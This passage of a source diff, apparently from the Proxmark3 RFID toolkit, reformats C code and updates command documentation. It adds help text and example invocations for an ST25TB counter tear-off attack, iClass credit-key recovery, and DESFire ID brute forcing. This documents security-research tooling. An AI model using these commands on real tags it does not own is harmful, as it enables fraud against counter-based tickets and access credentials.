&saveptr); while (token != NULL) { - while (isspace((unsigned char)*token)) { + while (isspace((unsigned char) * token)) { token++; } @@ -3539,11 +3539,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l aliro_read_print_auth1_report(&state); have_fast_suggestion_cmd = aliro_read_build_fast_suggestion_command(&state, - reader_group_identifier, - reader_group_sub_identifier, - reader_private_key_raw, - fast_suggestion_cmd, - sizeof(fast_suggestion_cmd)); + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw, + fast_suggestion_cmd, + sizeof(fast_suggestion_cmd)); if (flow == ALIRO_FLOW_STEP_UP) { res = aliro_read_do_step_up(&state, step_up_scopes); diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index d74b58ef5..6ed000b8d 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -506,8 +506,8 @@ static const char *felica_specification_option_name(size_t option_index) { } static void print_specification_versions(int level, - const felica_request_specification_version_info_t *specification_version_info, - bool include_hex) { + const felica_request_specification_version_info_t *specification_version_info, + bool include_hex) { if (specification_version_info == NULL || specification_version_info->has_specification_version == false) { return; } @@ -867,7 +867,7 @@ static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t } static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_get_container_issue_info_response_t *container_issue_info_response) { + felica_get_container_issue_info_response_t *container_issue_info_response) { (void)verbose; PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, false, @@ -886,8 +886,8 @@ static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, } static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_status_flags_t *status_flags, uint8_t *platform_information_data, - size_t platform_information_data_capacity, size_t *platform_information_data_len) { + felica_status_flags_t *status_flags, uint8_t *platform_information_data, + size_t platform_information_data_capacity, size_t *platform_information_data_len) { (void)verbose; if (status_flags == NULL || platform_information_data == NULL || platform_information_data_len == NULL) { return PM3_EINVARG; @@ -939,8 +939,8 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_ } static int send_request_specification_version(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - bool logging, uint32_t timeout_ms, uint32_t retries, - felica_request_specification_version_info_t *specification_version_info) { + bool logging, uint32_t timeout_ms, uint32_t retries, + felica_request_specification_version_info_t *specification_version_info) { if (specification_version_info == NULL) { return PM3_EINVARG; } @@ -1112,8 +1112,8 @@ static int info_felica(bool verbose) { felica_get_container_issue_info_response_t container_issue_info_response; if (send_get_container_issue_information(optional_flags, - sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, - &container_issue_info_response) == PM3_SUCCESS) { + sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, + &container_issue_info_response) == PM3_SUCCESS) { char model_ascii[sizeof(container_issue_info_response.mobile_phone_model_information) + 1] = {0}; bool model_is_ascii = decode_zero_padded_ascii( container_issue_info_response.mobile_phone_model_information, @@ -3251,10 +3251,10 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { sprint_hex(request_specification_version_request.IDm, sizeof(request_specification_version_request.IDm))); PrintAndLogEx(SUCCESS, "Status Flag1... %s", sprint_hex(specification_version_info.status_flags.status_flag1, - sizeof(specification_version_info.status_flags.status_flag1))); + sizeof(specification_version_info.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag2... %s", sprint_hex(specification_version_info.status_flags.status_flag2, - sizeof(specification_version_info.status_flags.status_flag2))); + sizeof(specification_version_info.status_flags.status_flag2))); if (specification_version_info.has_specification_version) { print_specification_versions(SUCCESS, &specification_version_info, true); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index c998ece13..b30961b65 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4931,9 +4931,9 @@ static int CmdHFiClassLegacyRecSim(bool credit) { } uint8_t new_div_key[8] = {0}; - if (credit == true){ + if (credit == true) { HFiClassCalcDivKey(csn, iClass_Key_Table[1], new_div_key, false); - }else{ + } else { HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); } @@ -5048,8 +5048,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { } else if (test) { loop = 1; fast = false; - }else if (debug) { - if (loop > 10){ + } else if (debug) { + if (loop > 10) { loop = 10; } fast = false; @@ -5063,10 +5063,10 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { return PM3_ESOFT; } - if(credit == true){ + if (credit == true) { diversifyKey(csn, iClass_Key_Table[0], new_div_key); fast = false; - }else{ + } else { diversifyKey(csn, iClass_Key_Table[1], new_div_key); } diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 763a82935..929eb0aa9 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14b sim" }, { 0, "hf 14b sniff" }, { 0, "hf 14b wrbl" }, + { 0, "hf 14b tearoff" }, { 1, "hf 14b view" }, { 1, "hf 14b valid" }, { 0, "hf 14b calypso" }, @@ -213,6 +214,10 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 15 writeafi" }, { 0, "hf 15 writedsfid" }, { 0, "hf 15 csetuid" }, + { 1, "hf aliro help" }, + { 1, "hf aliro list" }, + { 0, "hf aliro info" }, + { 0, "hf aliro read" }, { 1, "hf cipurse help" }, { 0, "hf cipurse info" }, { 0, "hf cipurse select" }, @@ -239,6 +244,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf felica help" }, { 1, "hf felica list" }, { 0, "hf felica info" }, + { 0, "hf felica seacinfo" }, { 0, "hf felica raw" }, { 0, "hf felica rdbl" }, { 0, "hf felica reader" }, @@ -472,7 +478,6 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes getaids" }, { 0, "hf mfdes getappnames" }, { 0, "hf mfdes bruteaid" }, - { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes createapp" }, { 0, "hf mfdes deleteapp" }, { 0, "hf mfdes selectapp" }, @@ -481,6 +486,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes chkeysettings" }, { 0, "hf mfdes getkeysettings" }, { 0, "hf mfdes getkeyversions" }, + { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes getfileids" }, { 0, "hf mfdes getfileisoids" }, { 0, "hf mfdes lsfiles" }, diff --git a/doc/commands.json b/doc/commands.json index d076de051..06288c322 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1680,6 +1680,26 @@ ], "usage": "hf 14b sniff [-h]" }, + "hf 14b tearoff": { + "command": "hf 14b tearoff", + "description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.", + "notes": [ + "hf 14b tearoff -b 5 -d FFFFFFFE", + "hf 14b tearoff -b 6 -d FFFFFFFE", + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50", + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-b, --block block number (typically 5 or 6 for ST25TB counters)", + "-d, --data target counter value (4 hex bytes, e.g. FFFFFFFE)", + "--adj tear-off timing step in us (default: 25)", + "--safety safety threshold value (default: 0x1000)", + "--start initial tear-off delay in us (default: 150)" + ], + "usage": "hf 14b tearoff [-h] -b -d [--adj ] [--safety ] [--start ]" + }, "hf 14b valid": { "command": "hf 14b valid", "description": "SRIX checksum test", @@ -2212,6 +2232,64 @@ ], "usage": "hf 15 writedsfid [-h*2ov] [-u ] [--ua] --dsfid " }, + "hf aliro help": { + "command": "hf aliro help", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf aliro list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "hf aliro list --frame -> show frame delay times", + "hf aliro list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "hf aliro list [-h1crux] [--frame] [-f ]" + }, + "hf aliro info": { + "command": "hf aliro info", + "description": "Select ALIRO applet and print capabilities.", + "notes": [ + "hf aliro info", + "hf aliro info -a" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro info [-ha]" + }, + "hf aliro read": { + "command": "hf aliro read", + "description": "Execute ALIRO expedited flow and optional step-up document retrieval.", + "notes": [ + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp Kpersistent (32 bytes, optional; used for fast cryptogram verification)", + "-g, --reader-group-id, --readergroupid, --rgi Reader group identifier (16 bytes)", + "-s, --reader-sub-group-id, --readersubid, --rsi Reader subgroup identifier (16 bytes, default: all zeroes)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (32 bytes, P-256)", + "-t, --transaction-id, --ti Transaction identifier (16 bytes, optional; random if omitted)", + "-e, --endpoint-public-key, --endpointpublickey, --epk Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)", + "-f, --flow Transaction flow (default: step-up)", + "--step-up-scopes Comma-separated step-up scopes (default: matter1)", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" + }, "hf cipurse aread": { "command": "hf cipurse aread", "description": "Read file attributes by file ID with key ID and key. If no key is supplied, default key of 737373...7373 will be used", @@ -2682,14 +2760,16 @@ "command": "hf felica dump", "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", "notes": [ - "hf felica dump" + "hf felica dump", + "hf felica dump --retry 5" ], "offline": false, "options": [ "-h, --help This help", - "--no-auth read public services" + "--no-auth read public services", + "-r, --retry number of retries" ], - "usage": "hf felica dump [-h] [--no-auth]" + "usage": "hf felica dump [-h] [--no-auth] [-r ]" }, "hf felica help": { "command": "hf felica help", @@ -2876,7 +2956,7 @@ }, "hf felica rqspecver": { "command": "hf felica rqspecver", - "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h - Option version list: Provided only if Status Flag1 = 00h - AES card: not added - AES/DES card: DES option version is added - BCD notation", + "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: number of entries in Option Version List. - Option version list: BCD notation (major.minor.patch), little-endian, provided only if Status Flag1 = 00h", "notes": [ "hf felica rqspecver", "hf felica rqspecver -r 0001", @@ -2909,13 +2989,27 @@ "command": "hf felica scsvcode", "description": "Dump all existing Area Code and Service Code.", "notes": [ - "hf felica scsvcode" + "hf felica scsvcode", + "hf felica scsvcode --retry 5" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --retry number of retries" + ], + "usage": "hf felica scsvcode [-h] [-r ]" + }, + "hf felica seacinfo": { + "command": "hf felica seacinfo", + "description": "Get info about FeliCa SEAC cards", + "notes": [ + "hf felica seacinfo" ], "offline": false, "options": [ "-h, --help This help" ], - "usage": "hf felica scsvcode [-h]" + "usage": "hf felica seacinfo [-h]" }, "hf felica sniff": { "command": "hf felica sniff", @@ -3256,7 +3350,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3581,9 +3675,10 @@ "--allnight Loops the loop for 10 times, recommended loop value of 5000", "--fast Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card", "--sl Lower card comms delay times, further speeds increases, may cause more errors", - "--est Estimates the key updates based on the card's CSN assuming standard key" + "--est Estimates the key updates based on the card's CSN assuming standard key, can be used with --credit option", + "--credit EXPERIMENTAL : Recover the credit key using KD 0" ], - "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est]" + "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est] [--credit]" }, "hf iclass loclass": { "command": "hf iclass loclass", @@ -5730,7 +5825,11 @@ "description": "Recover AIDs by bruteforce. WARNING: This command takes a loooong time", "notes": [ "hf mfdes bruteaid -> Search all apps", - "hf mfdes bruteaid --start F0000F -i 16 -> Search MAD range manually" + "hf mfdes bruteaid --preset mad -> Search MAD range preset (default start F0000F, step 16; can override start)", + "hf mfdes bruteaid --preset ascii -> Search with ASCII printable + whitespace bytes only", + "hf mfdes bruteaid --preset numbers -> Search with numeric bytes ('0'..'9') only", + "hf mfdes bruteaid --preset letters -> Search with letter bytes ('A'..'Z','a'..'z') only", + "hf mfdes bruteaid --preset dictionary -> Search AIDs from `aid_desfire` dictionary (direct + inverted byte order)" ], "offline": false, "options": [ @@ -5738,9 +5837,30 @@ "--start Starting App ID as hex bytes (3 bytes, big endian)", "--end Last App ID as hex bytes (3 bytes, big endian)", "-i, --step Increment step when bruteforcing", - "-m, --mad Only bruteforce the MAD range" + "--preset Bruteforce candidate preset (`full` default, `ascii` printable + whitespace, `numbers` = '0'..'9', `letters` = 'A'..'Z'+'a'..'z', `dictionary` = aid_desfire list with direct + inverted byte order, `mad` = step 16 with default start F0000F unless --start is provided)" ], - "usage": "hf mfdes bruteaid [-hm] [--start ] [--end ] [-i ]" + "usage": "hf mfdes bruteaid [-h] [--start ] [--end ] [-i ] [--preset ]" + }, + "hf mfdes bruteisofid": { + "command": "hf mfdes bruteisofid", + "description": "Recover ISO file IDs by bruteforce. WARNING: This command takes a loooong time", + "notes": [ + "hf mfdes bruteisofid --aid 123456 -> bruteforce ISO file IDs for application 123456", + "hf mfdes bruteisofid --start 0000 --end 0fff -> bruteforce specific file ISO ID range" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", + "--start Starting File ISO ID (2 hex bytes, big endian)", + "--end Last File ISO ID (2 hex bytes, big endian)", + "--step Increment step when bruteforcing" + ], + "usage": "hf mfdes bruteisofid [-hav] [--aid ] [--isoid ] [--dfname ] [--start ] [--end ] [--step ]" }, "hf mfdes changekey": { "command": "hf mfdes changekey", @@ -6706,6 +6826,25 @@ ], "usage": "hf mfdes selectapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--dfname ] [--mf] [--isoid ] [--fileisoid ]" }, + "hf mfdes selectisofid": { + "command": "hf mfdes selectisofid", + "description": "Select file via ISO Select command by 2-byte ISO file identifier. Optionally preselect an application by AID or DF name before selecting the file.", + "notes": [ + "hf mfdes selectisofid --isofid e104 -> select file 0xE104", + "hf mfdes selectisofid --aid 123456 --isofid 00ef -> select file 0x00EF in app 0x123456", + "hf mfdes selectisofid --dfname D2760000850100 --isofid 00ef --apdu -> select file 0x00EF after DF name selection and show APDU logs" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--dfname Application ISO DF Name (1-16 hex bytes, big endian)", + "--isofid File ISO ID (ISO EF ID) (2 hex bytes, big endian)" + ], + "usage": "hf mfdes selectisofid [-hav] [--aid ] [--dfname ] [--isofid ]" + }, "hf mfdes setconfig": { "command": "hf mfdes setconfig", "description": "Set card configuration. WARNING! Danger zone! Needs to provide card's master key and works if not blocked by config.", @@ -6947,18 +7086,24 @@ }, "hf mfp dump": { "command": "hf mfp dump", - "description": "Dump MIFARE Plus tag to file (bin/json) If no given, UID will be used as filename", + "description": "Dump MIFARE Plus tag to file (bin/json) Reads sectors using keys from `hf mfp chk --dump` (AES/SL3) and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards. Key files are auto-detected by UID if not specified. If no given, UID will be used as filename", "notes": [ "hf mfp dump", - "hf mfp dump --keys hf-mf-066C8B78-key.bin -> MIFARE Plus with keys from specified file" + "hf mfp dump --keys hf-mfp-01020304-key.json", + "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin", + "hf mfp dump -k ffffffffffffffffffffffffffffffff" ], "offline": false, "options": [ "-h, --help This help", "-f, --file Specify a filename for dump file", - "-k, --keys Specify a filename for keys file" + "--keys AES key file from `hf mfp chk --dump` (JSON)", + "-k, --key AES key for all sectors (16 hex bytes)", + "--mfc-keys MFC key file for SL1 sectors (.bin from `hf mf chk`)", + "--ns No save to file", + "-v, --verbose Verbose output" ], - "usage": "hf mfp dump [-h] [-f ] [-k ]" + "usage": "hf mfp dump [-hv] [-f ] [--keys ] [-k ] [--mfc-keys ] [--ns]" }, "hf mfp help": { "command": "hf mfp help", @@ -13815,8 +13960,8 @@ } }, "metadata": { - "commands_extracted": 791, + "commands_extracted": 798, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-02-24T15:41:26" + "extracted_on": "2026-03-11T21:39:07" } } diff --git a/doc/commands.md b/doc/commands.md index dd90a58ae..fd30f27f2 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -228,6 +228,7 @@ Check column "offline" for their availability. |`hf 14b sim `|N |`Fake ISO ISO-14443-B tag` |`hf 14b sniff `|N |`Eavesdrop ISO-14443-B` |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` +|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks` |`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b calypso `|N |`Read contents of a Calypso card` @@ -274,6 +275,18 @@ Check column "offline" for their availability. |`hf 15 csetuid `|N |`Set UID for magic card` +### hf aliro + + { ALIRO digital access credentials... } + +|command |offline |description +|------- |------- |----------- +|`hf aliro help `|Y |`This help` +|`hf aliro list `|Y |`List ISO 14443A/7816 history` +|`hf aliro info `|N |`Get Aliro applet information` +|`hf aliro read `|N |`Run SELECT-AUTH0-AUTH1 and optional step-up document retrieval` + + ### hf cipurse { Cipurse transport Cards... } @@ -330,6 +343,7 @@ Check column "offline" for their availability. |`hf felica help `|Y |`This help` |`hf felica list `|Y |`List ISO 18092/FeliCa history` |`hf felica info `|N |`Tag information` +|`hf felica seacinfo `|N |`FeliCa SEAC tag information` |`hf felica raw `|N |`Send raw hex data to tag` |`hf felica rdbl `|N |`read block data from authentication-not-required Service.` |`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` @@ -595,7 +609,7 @@ Check column "offline" for their availability. |`hf mfp list `|Y |`List MIFARE Plus history` |`hf mfp auth `|N |`Authentication` |`hf mfp chk `|N |`Check keys` -|`hf mfp dump `|N |`Dump MIFARE Plus tag to binary file` +|`hf mfp dump `|N |`Dump MIFARE Plus tag to file` |`hf mfp info `|N |`Tag information` |`hf mfp mad `|N |`Check and print MAD` |`hf mfp rdbl `|N |`Read blocks from card` @@ -670,10 +684,12 @@ Check column "offline" for their availability. |`hf mfdes createapp `|N |`Create Application` |`hf mfdes deleteapp `|N |`Delete Application` |`hf mfdes selectapp `|N |`Select Application ID` +|`hf mfdes selectisofid `|N |`Select file by ISO ID` |`hf mfdes changekey `|N |`Change Key` |`hf mfdes chkeysettings `|N |`Change Key Settings` |`hf mfdes getkeysettings`|N |`Get Key Settings` |`hf mfdes getkeyversions`|N |`Get Key Versions` +|`hf mfdes bruteisofid `|N |`Recover file ISO IDs by bruteforce` |`hf mfdes getfileids `|N |`Get File IDs list` |`hf mfdes getfileisoids `|N |`Get File ISO IDs list` |`hf mfdes lsfiles `|N |`Show all files list` diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ca02840cc..37b881be4 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -775,6 +775,7 @@ typedef struct { #define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0 #define CMD_HF_ISO14443B_GET_CONFIG 0x03D1 #define CMD_HF_ISO14443B_SET_CONFIG 0x03D2 +#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400